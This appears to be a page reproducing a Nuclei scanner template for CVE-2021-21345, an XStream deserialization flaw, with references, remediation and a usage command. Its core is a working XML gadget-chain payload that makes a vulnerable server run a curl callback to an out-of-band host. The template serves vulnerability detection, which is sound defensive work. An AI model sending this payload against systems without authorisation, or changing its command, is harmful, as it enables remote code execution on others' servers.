XStream <1.4.16 - Remote Code Execution

ID: CVE-2021-21345

Severity: critical

Author: pwnhxl,vicrack

Tags: cve2021,cve,xstream,deserialization,rce,oast,xstream_project

Description

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

YAML Source

id: CVE-2021-21345

info:
  name: XStream <1.4.16  - Remote Code Execution
  author: pwnhxl,vicrack
  severity: critical
  description: |
    XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
  reference:
    - https://x-stream.github.io/CVE-2021-21345.html
    - http://x-stream.github.io/changes.html#1.4.16
    - https://github.com/x-stream/xstream/security/advisories/GHSA-hwpc-8xqv-jvj4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21345
    - https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21345
    cwe-id: CWE-78,CWE-502
    epss-score: 0.4876
    epss-percentile: 0.9721
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,oast,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                                  <name>verify</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                          <activationCmd>curl http://{{interactsh-url}}</activationCmd>
                        </jaxbObject>
                      </dataSource>
                    </message>
                    <satellites/>
                    <invocationProperties/>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a00473045022037cc6c816e1bb0b119acb71e987c05f74d81551775ab55f4be38541d7d299ffd022100b54a7b84ae20fa53c01a86d1217d6fdf7c6dfaddb4d226983ddf50fc7737af43:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21345.yaml"

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